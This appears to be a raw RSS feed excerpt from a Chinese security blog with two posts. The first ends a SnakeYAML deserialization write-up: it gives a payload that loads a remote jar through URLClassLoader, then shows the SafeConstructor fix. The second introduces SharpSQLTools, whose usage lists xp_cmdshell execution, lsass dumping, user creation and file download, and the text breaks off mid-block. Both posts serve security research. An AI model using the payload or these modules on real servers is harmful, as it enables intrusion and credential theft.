style="box-sizing: border-box;">获取实现类的信息</span><br/></p><p cid="n128" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">下面再来跟进</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">itr.text</code></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5109375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5735e0ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppx08lvPnDeCsWtWSuDMUj8QArbmibMmmILRH3hymNkc6PQEnpP9xfx2g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5484375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=809fc102&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppahfUOfrrvqen3SZ7nCxXnNnhRdARmfUyTEtBiaGWO1cTHU4nIqOJTzw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n131" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><p cid="n132" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这里会去实例化接口的实现类</span></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.55625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a5b69369&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppialCPg9eqYbxjjQ15BBmBvJYfx8HVZptuLQjToquG4ZIOZx3DqcQGkg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n135" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">走到这一步命令执行成功。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.47734375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=78122028&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppgfz1yiauFpRgy7XcgzIwacO1J4n7VIoNoPsKibnwtYocboTicH7T4H5Gg%2F640%3Fwx_fmt%3Dpng"/></p><h2 cid="n137" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">0x03 漏洞修复</span></h2><p cid="n138" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">其实该漏洞涉及到了全版本，只要反序列化内容可控,那么就可以去进行反序列化攻击</span></p><p cid="n139" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">修复方案：加入</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">new SafeConstructor()</code></span><span md-inline="plain" style="box-sizing: border-box;">类进行过滤</span></p><pre spellcheck="false" lang="java" cid="n140" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">public</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">class</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">main</span> {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">public</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">static</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">void</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">main</span>(<span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span>[] <span style="box-sizing: border-box;color: rgb(0, 0, 0);">args</span>) {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">context</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;!!javax.script.ScriptEngineManager [\n&#34;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;  !!java.net.URLClassLoader [[\n&#34;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;    !!java.net.URL [\&#34;<a href="http://127.0.0.1:8888/yaml-payload-master.jar\" target="_blank">http://127.0.0.1:8888/yaml-payload-master.jar\</a>&#34;]\n&#34;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;  ]]\n&#34;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;]&#34;</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Yaml</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">yaml</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">new</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Yaml</span>(<span style="box-sizing: border-box;color: rgb(119, 0, 136);">new</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">SafeConstructor</span>());</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">yaml</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">load</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">context</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span></pre><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6359375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0155e366&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppBVSIAfd2zv38nG5hN17RbkhQpJyriatAictyDh6aacQ104AnneO7tRQQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n142" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="image" data-src="C:\Users\Administrator\Desktop\wiki\blogs\img\yaml反序列化分析\34.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;vertical-align: top;display: inline-block;width: 704.4px;"></span></p><p cid="n143" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">再次进行反序列化会抛异常。</span></p><p cid="n144" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><p cid="n145" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">再者就是拒绝不安全的反序列化操作，反序列化数据前需要经过校验或拒绝反序列化数据可控。</span></p><p cid="n146" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><h2 cid="n147" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">0x04 结尾</span></h2><p cid="n148" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">在审计中其实就可以直接定位</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">yaml.load();</code></span><span md-inline="plain" style="box-sizing: border-box;">，然后进行回溯，如若参数可控，那么就可以尝试传入payload。但又出现另外一个问题，假如不出网的情况，是不是有很好的解决方案呢？</span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6886792452830188" data-s="300,640" style="" data-type="jpeg" data-w="318" src="https://wechat2rss.xlab.app/img-proxy/?k=9301c2d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppPa2hFUUl1T0OiaJgRu9Jicr9wVoBbCSEicreHKBfibtu9RCKYWSzWZICcA%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p>



<p><a href="2247484766">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=282421f3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484766%26idx%3D1%26sn%3D7efb53b468526dbe685547be202a70e4%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 10 Mar 2021 12:43:00 +0800</pubDate>
    </item>
    <item>
      <title>SharpSQLTools-上传下载文件，xp_cmdshell与sp_oacreate双回显和clr加载程序集</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484718&amp;idx=1&amp;sn=4cca1e350076f71872d5b20378ecddde</link>
      <description>和RcoIl一起写的小工具，可上传下载文件，xp_cmdshell和xp_cmdshell与sp_oacreate双回显和clr加载程序集执行相应操作。</description>
      <content:encoded><![CDATA[<p>
原创 <span>uknowsec</span> <span>2021-01-20 17:24</span> <span style="display: inline-block;"></span>
</p>

<p>和RcoIl一起写的小工具，可上传下载文件，xp_cmdshell和xp_cmdshell与sp_oacreate双回显和clr加载程序集执行相应操作。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=605c7d9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvcfYLricoicE5OgvW6M3iczrO6PUx2rW68wHqyQY3yb7icd6NtfTVcCOCic4XbYpX0m5gBCoTI3QlibviamA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;font-weight: bold;line-height: 1.1;color: rgb(73, 80, 96);margin-top: 1.5em;margin-bottom: 1.5em;font-size: 1.3em;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">简介</h3><p style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 14px;color: rgb(73, 80, 96);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">和RcoIl一起写的小工具，可上传下载文件，xp<em style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">cmdshell与sp</em>oacreate双回显和clr加载程序集执行相应操作。功能参考mssqlproxy，由于目前C#还不知如何获取SQL连接的socket，该项目中的mssqlproxy功能目前尚未实现。另外，Clr不适用于一些与线程进程相关的操作。</p><h5 style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;font-weight: bold;line-height: 1.1;color: rgb(73, 80, 96);margin-top: 1.5em;margin-bottom: 1.5em;font-size: 1em;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">编译环境为net 4.0</h5><h3 style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;font-weight: bold;line-height: 1.1;color: rgb(73, 80, 96);margin-top: 1.5em;margin-bottom: 1.5em;font-size: 1.3em;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">吹一波RcoIl ，关注RcoIl跟着大佬学C#！！！</h3><h3 style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;font-weight: bold;line-height: 1.1;color: rgb(73, 80, 96);margin-top: 1.5em;margin-bottom: 1.5em;font-size: 1.3em;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><a href="http://github.com/rcoIl" target="_blank">http://github.com/rcoIl</a></h3><h3 style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;font-weight: bold;line-height: 1.1;color: rgb(73, 80, 96);margin-top: 1.5em;margin-bottom: 1.5em;font-size: 1.3em;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">Usage</h3><pre style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;overflow: auto;font-family: Consolas, Menlo, Courier, monospace;font-size: 12px;padding: 9.5px;margin-bottom: 10px;line-height: 1.42857;word-break: break-all;overflow-wrap: break-word;background-color: rgb(245, 245, 245);border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);border-radius: 4px;text-align: start;"><code style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: Consolas, Inconsolata, Courier, monospace;font-size: inherit;padding: 0.5em;background: rgb(248, 248, 248);border-radius: 0px;white-space: pre-wrap;display: block;overflow-x: auto;overflow-wrap: break-word;margin-right: 2px;margin-left: 2px;">&gt;SharpSQLTools.exe<br/>   ____<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span>                      ____<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span>  ___<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span>  <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span>   ______<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span>          <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span><br/>  / ___<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| |</span>                    / ___<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">|/ __ \|</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| |</span>_<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span>   _<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">|        |</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">|<br/> |</span> (__<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| |</span>_<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span>   _<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span> _<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span> _<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| (___ |</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">|  |</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| |</span>    <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| |</span> __<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span>   __<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| |</span>__<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span><br/>  \__<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span> \<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| &#39;_ \ / _` |</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(221, 17, 68);">&#39;__| &#39;</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span> \\__<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span> \<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| |</span>  <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| |</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">|    |</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">|/ _ \ / _ \|</span> / _<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">|<br/>  ____) |</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| |</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| (_|</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| |</span>  <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| |</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span>) <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">|___) |</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">|__|</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| |</span>___<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| |</span> (<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span>) <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| (_) |</span> \_<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span> \<br/> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">|_____/|</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| |</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">|\__,_|</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">|  |</span> ._<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span>/____<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span>/ \__<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span>\<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span>\_____<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">|_|</span>\__<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span>/ \__<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span>/<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">|_|</span>__<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(0, 128, 128);">_</span>/<br/>                         <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">| |</span><br/>                         <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;">|_|</span><br/>                                                    by Rcoil &amp; Uknow<br/><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(153, 0, 115);">Usage:</span><br/>SharpSQLTools target username password                   - interactive console<br/>SharpSQLTools target username password <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;"><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">module</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(68, 85, 136);font-weight: bold;">command</span>    - <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(68, 85, 136);font-weight: bold;">non</span>-<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(68, 85, 136);font-weight: bold;">interactive</span> <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(68, 85, 136);font-weight: bold;">console</span></span><br/><span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;color: rgb(153, 0, 115);">Module:</span><br/>enable_xp_cmdshell         - you know what it means<br/>disable_xp_cmdshell        - you know what it means<br/>xp_cmdshell {cmd}          - executes cmd using xp_cmdshell<br/>sp_oacreate {cmd}          - executes cmd using sp_oacreate<br/>enable_ole                 - you know what it means<br/>disable_ole                - you know what it means<br/>upload {local} {remote}    - upload a local file to a remote path (OLE required)<br/>download {remote} {local}  - download a remote file to a local path<br/>enable_clr                 - you know what it means<br/>disable_clr                - you know what it means<br/>install_clr                - create assembly <span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">and</span> procedure<br/>uninstall_clr              - drop clr<br/>clr_dumplsass              - dumplsass by clr<br/>clr_adduser {user} {pass}  - add user by clr<br/>clr_download {url} {path}  - download file from url by clr<br/>exit                       - terminates the server process (<span style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-weight: bold;">and</span> this session)<br/></code></pre><h3 style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;font-weight: bold;line-height: 1.1;color: rgb(73, 80, 96);margin-top: 1.5em;margin-bottom: 1.5em;font-size: 1.3em;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">功能介绍</h3><p style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 14px;color: rgb(73, 80, 96);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">支持交互模式与非交互模式，交互模式直接跟目标，用户名和密码即可。非交互模式直接跟模块与命令。</p><pre style="box-sizing: border-box;-webkit-tap-highlight-color: transparent;overflow: auto;font-family: Consolas, Menlo, Courier, monospace;font-size: 12px;padding: 9.5px;margin-bottom: 10px;line-height: 1.42857;word-break: break-all;overflow-wrap: break-word;background-color: rgb(245, 245, 245);border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);border-radius: 4px;text-align: start;"><code style="box-sizing: 